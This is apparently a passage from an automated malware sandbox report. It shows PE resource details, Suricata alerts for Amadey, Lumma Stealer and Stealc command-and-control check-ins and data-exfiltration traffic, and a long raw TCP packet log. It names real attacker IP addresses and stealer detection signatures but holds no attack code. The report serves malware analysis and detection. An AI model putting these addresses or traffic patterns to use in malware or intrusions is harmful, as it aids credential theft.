RT_MANIFEST	0x4cb1a4	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x4cb3fa	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T23:04:04.947657+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49773	185.215.113.43	80	TCP
2024-11-18T23:04:08.321566+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49794	31.41.244.11	80	TCP
2024-11-18T23:04:24.549995+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49788	TCP
2024-11-18T23:04:25.457548+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.4	49882	185.215.113.43	80	TCP
2024-11-18T23:04:26.383435+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49891	185.215.113.16	80	TCP
2024-11-18T23:04:30.628369+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49914	185.215.113.43	80	TCP
2024-11-18T23:04:30.811564+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49917	188.114.96.3	443	TCP
2024-11-18T23:04:31.377830+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49917	188.114.96.3	443	TCP
2024-11-18T23:04:31.377830+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49917	188.114.96.3	443	TCP
2024-11-18T23:04:31.554411+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49921	185.215.113.16	80	TCP
2024-11-18T23:04:32.137455+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49927	188.114.96.3	443	TCP
2024-11-18T23:04:32.979593+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49927	188.114.96.3	443	TCP
2024-11-18T23:04:32.979593+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49927	188.114.96.3	443	TCP
2024-11-18T23:04:34.120744+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49937	188.114.96.3	443	TCP
2024-11-18T23:04:35.995065+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49947	188.114.96.3	443	TCP
2024-11-18T23:04:36.068252+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49943	185.215.113.43	80	TCP
2024-11-18T23:04:36.987110+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49952	185.215.113.16	80	TCP
2024-11-18T23:04:37.416643+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49953	185.215.113.206	80	TCP
2024-11-18T23:04:37.757313+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49960	188.114.96.3	443	TCP
2024-11-18T23:04:37.773638+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49953	185.215.113.206	80	TCP
2024-11-18T23:04:37.792498+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49953	TCP
2024-11-18T23:04:38.072300+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49953	185.215.113.206	80	TCP
2024-11-18T23:04:38.084192+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49953	TCP
2024-11-18T23:04:39.210727+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49953	185.215.113.206	80	TCP
2024-11-18T23:04:39.779554+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49953	185.215.113.206	80	TCP
2024-11-18T23:04:40.309843+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49973	188.114.96.3	443	TCP
2024-11-18T23:04:41.377416+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49978	185.215.113.43	80	TCP
2024-11-18T23:04:42.323742+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49985	185.215.113.16	80	TCP
2024-11-18T23:04:42.577891+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49988	188.114.96.3	443	TCP
2024-11-18T23:04:42.616811+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49988	188.114.96.3	443	TCP
2024-11-18T23:04:46.890960+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50014	185.215.113.43	80	TCP
2024-11-18T23:04:47.953636+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50015	31.41.244.11	80	TCP
2024-11-18T23:04:48.321935+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50028	188.114.96.3	443	TCP
2024-11-18T23:04:49.074556+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50028	188.114.96.3	443	TCP
2024-11-18T23:04:50.045393+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50035	185.215.113.16	80	TCP
2024-11-18T23:04:50.432796+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50036	188.114.96.3	443	TCP
2024-11-18T23:04:50.904948+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50036	188.114.96.3	443	TCP
2024-11-18T23:04:50.904948+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50036	188.114.96.3	443	TCP
2024-11-18T23:04:52.293254+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50050	188.114.96.3	443	TCP
2024-11-18T23:04:52.788667+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50050	188.114.96.3	443	TCP
2024-11-18T23:04:52.788667+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50050	188.114.96.3	443	TCP
2024-11-18T23:04:52.808549+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50052	185.215.113.43	80	TCP
2024-11-18T23:04:55.424872+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50062	188.114.96.3	443	TCP
2024-11-18T23:04:58.146733+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50066	188.114.96.3	443	TCP
2024-11-18T23:05:00.852006+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50071	188.114.96.3	443	TCP
2024-11-18T23:05:00.958353+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:02.385184+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:03.068392+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:04.921968+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:05.936555+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50074	188.114.96.3	443	TCP
2024-11-18T23:05:06.186480+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:06.672747+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-18T23:05:08.248228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50076	188.114.96.3	443	TCP
2024-11-18T23:05:11.389755+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50079	188.114.96.3	443	TCP
2024-11-18T23:05:11.608070+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50078	185.215.113.16	80	TCP
2024-11-18T23:05:12.103214+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50079	188.114.96.3	443	TCP
2024-11-18T23:05:13.130357+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50080	185.215.113.16	80	TCP
2024-11-18T23:05:16.068871+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50084	185.215.113.206	80	TCP
2024-11-18T23:05:18.511461+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50108	185.215.113.206	80	TCP
2024-11-18T23:05:27.485341+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50135	185.215.113.206	80	TCP
2024-11-18T23:07:49.538093+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50288	52.168.117.170	443	TCP
2024-11-18T23:09:16.914602+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50340	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 23:03:02.913894892 CET	49675	443	192.168.2.4	173.222.162.32
Nov 18, 2024 23:03:15.808589935 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:15.808605909 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:15.808720112 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:15.810277939 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:15.810292006 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:16.897233009 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:16.897296906 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:16.900453091 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:16.900460005 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:16.900873899 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:16.945080996 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:17.851984024 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:17.895328045 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:18.205991030 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:18.206048965 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:18.206068993 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:18.206190109 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:18.206248999 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:18.206336975 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:18.206336975 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:18.206336975 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:18.206374884 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:18.206404924 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:18.206444979 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:18.206468105 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:18.314626932 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:18.314734936 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:18.314872026 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:18.707952023 CET	49723	80	192.168.2.4	2.22.50.131
Nov 18, 2024 23:03:18.714054108 CET	80	49723	2.22.50.131	192.168.2.4
Nov 18, 2024 23:03:18.714198112 CET	49723	80	192.168.2.4	2.22.50.131
Nov 18, 2024 23:03:19.077460051 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:19.077495098 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:19.077513933 CET	49730	443	192.168.2.4	4.245.163.56
Nov 18, 2024 23:03:19.077522039 CET	443	49730	4.245.163.56	192.168.2.4
Nov 18, 2024 23:03:54.708563089 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:54.708648920 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:54.708728075 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:54.709067106 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:54.709100008 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.473074913 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.473162889 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:55.477972984 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:55.477999926 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.479022980 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.490695000 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:55.497507095 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:55.497585058 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:55.497744083 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:55.498028040 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:55.498070955 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:55.531372070 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.741933107 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.741966963 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.741985083 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.742072105 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:55.742110014 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.742172003 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:55.863291025 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.863321066 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.863375902 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:55.863444090 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.863481998 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:55.863504887 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:55.983489037 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.983510971 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.983669996 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:55.983695030 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:55.983755112 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.103849888 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.103873968 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.103950977 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.103996038 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.104028940 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.104048014 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.224042892 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.224065065 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.224292994 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.224315882 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.224375963 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.329771042 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.329884052 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:56.331341982 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:56.331371069 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.331679106 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.343719006 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:56.344559908 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.344580889 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.344655991 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.344726086 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.344770908 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.344795942 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.387331009 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.465480089 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.465537071 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.465595007 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.465662956 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.465701103 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.468591928 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.586435080 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.586499929 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.586747885 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.586811066 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.586893082 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.619959116 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.620003939 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.620142937 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:56.620163918 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.620225906 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.620260000 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:56.620285034 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:56.627989054 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.628017902 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.628082037 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.628118038 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.628145933 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.628175020 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.706688881 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.706741095 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.706796885 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.706865072 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.706908941 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.706954002 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.738001108 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.738156080 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:56.738188982 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.738238096 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.738267899 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:56.738296986 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:56.740322113 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:56.740362883 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.740410089 CET	49737	443	192.168.2.4	20.12.23.50
Nov 18, 2024 23:03:56.740425110 CET	443	49737	20.12.23.50	192.168.2.4
Nov 18, 2024 23:03:56.829565048 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.829590082 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.829649925 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.829718113 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.829756021 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.833425999 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.948141098 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.948163033 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.948333025 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.948333025 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.948399067 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.948476076 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.990566015 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.990628004 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.990776062 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.990777016 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:56.990842104 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:56.990904093 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.068106890 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.068191051 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.068214893 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.068274975 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.068303108 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.068320990 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.068342924 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.068370104 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.068391085 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.123747110 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.123811007 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.124792099 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.124825001 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.124885082 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.125330925 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.126079082 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.126104116 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.126146078 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.126729012 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.126755953 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.126929045 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.127087116 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.127119064 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.127192020 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.127207041 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.127888918 CET	49742	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.127896070 CET	443	49742	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.127938986 CET	49742	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.128048897 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.128083944 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.128489017 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.128505945 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.132970095 CET	49742	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.132982016 CET	443	49742	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.871767998 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.871793032 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.872333050 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.872348070 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.872432947 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.872478962 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.872854948 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.872859001 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.873166084 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.873179913 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.874367952 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.874876022 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.874916077 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.875351906 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.875365973 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.882916927 CET	443	49742	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.883290052 CET	49742	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.883302927 CET	443	49742	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.883802891 CET	49742	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.883807898 CET	443	49742	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.893362045 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.893876076 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.893883944 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.894284964 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.894289970 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.998068094 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.998200893 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.998258114 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.998332977 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.998349905 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:57.998363972 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:57.998368979 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.001298904 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.001315117 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.001336098 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.001358986 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.001390934 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.001434088 CET	49738	443	192.168.2.4	13.107.246.45
